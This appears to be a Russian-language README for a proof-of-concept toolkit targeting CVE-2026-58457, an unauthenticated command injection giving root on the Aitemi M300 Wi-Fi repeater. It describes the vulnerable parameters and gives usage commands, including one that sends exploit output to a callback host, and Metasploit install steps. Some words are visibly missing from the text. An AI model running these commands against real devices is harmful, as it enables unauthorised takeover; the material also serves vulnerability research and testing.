j4ck3lsyn-gen2/cve-2026-58457
Инструменты PoC для CVE-2026-58457: неаутентифицированная инъекция команд ОС, приводящая к удаленному root-доступу на Wi-Fi репитере Shenzhen Aitemi M300 (MT02). Включает эксплойт, валидатор, генератор полезной нагрузки и модуль Metasploit. Только для образовательных целей и авторизованного пентеста.
[!WARNING] Этот код предоставляется КАК ЕСТЬ только для образовательных и исследовательских целей. Не используйте этот PoC на промышленных системах, общих средах или любых неавторизованных целях.
- Запуск или размещение этого кода может вызвать обнаружение антивирусом, оповещения мониторинга безопасности или юридические последствия при неправильном использовании.
- Авторы и владельцы репозитория не несут никакой ответственности за любой ущерб, неправомерное использование или незаконные действия, возникшие в результате использования этого кода.
- Используйте исключительно в изолированных лабораторных средах с соответствующими разрешениями. Предназначен только для защитных исследований, анализа уязвимостей и тестирования синих команд.
Неаутентифицированная уязвимость инъекции команд ОС существует в обработчике smacfilter_conf. Параметры GET name, enable и mac передаются без санитизации в вызов , который формирует команды UCI, выполняемые от имени .
sprintf()poc.py - Полнофункциональный эксплойт с поддержкой HTTPS, повторными попытками, тайм-аутом и эксфильтрацией через callback.val.py - Безопасный пассивный валидатор уязвимости (использует безвредную команду id).gen.py - Продвинутый генератор полезных нагрузок с несколькими методами обфускации.MITIGATIONS.md - Рекомендуемые меры защиты.exploit/.pip install requests
python3 val.py --target 192.168.1.100
python3 poc.py --target 192.168.1.100 --cmd "id"
python3 poc.py --target 192.168.1.100 --cmd "id" --callback http://your-ip:8080/
python3 gen.py -c "id" -n 10
cp ./aitemi_m300_smacfilter_rce.rb ~/.msf4/modules/exploits/linux/http/
# или основной путь MSF: /usr/share/metasploit-framework/modules/exploits/linux/http/
msfconsole -q -x "reload_all"
Приветствуются звезды и вклад - особенно улучшения обходных путей или дополнительные варианты прошивок.